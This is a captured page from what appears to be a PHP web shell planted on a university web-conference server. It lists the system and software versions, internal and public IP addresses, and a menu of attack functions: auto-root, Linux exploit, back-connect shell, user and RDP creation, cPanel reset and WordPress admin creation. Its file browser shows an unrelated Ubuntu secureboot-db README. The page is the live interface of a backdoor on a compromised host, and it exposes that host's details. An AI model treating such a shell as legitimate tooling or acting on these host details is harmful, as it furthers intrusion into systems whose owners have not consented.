Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.12.34.96
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
secureboot-db /
[ HOME SHELL ]
Name
Size
Permission
Action
README.Debian
995
B
-rw-r--r--
changelog.gz
758
B
-rw-r--r--
copyright
1.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.Debian
secureboot-db for Ubuntu ------------------------ When Secure Boot is enabled, the bootloader must be signed by an entry in the Secure Boot DB. If the signature verifies and the entry does not appear in the DBX blacklist, the boot process is allowed to continue. Each stage of the boot process may also be verified against DB and DBX. DB and DBX will need to be updated for certificate updates and additions to the blacklist, and this package provides the mechanism do so. It works by adding signed updates to /usr/share/secureboot/updates and then runs sbkeysync on them. Eg: $ sudo sbkeysync --no-default-keystores \ --keystore /usr/share/secureboot/updates Note that this package tries to add all keys from the keystore that are not found in the key databases in firmware. When secure boot is enabled, updates to DB and DBX can only be performed if they are signed by an entry in the KEK database. -- Jamie Strandboge <jamie@ubuntu.com> Tue, 04 Dec 2012 13:22:03 -0600
Close
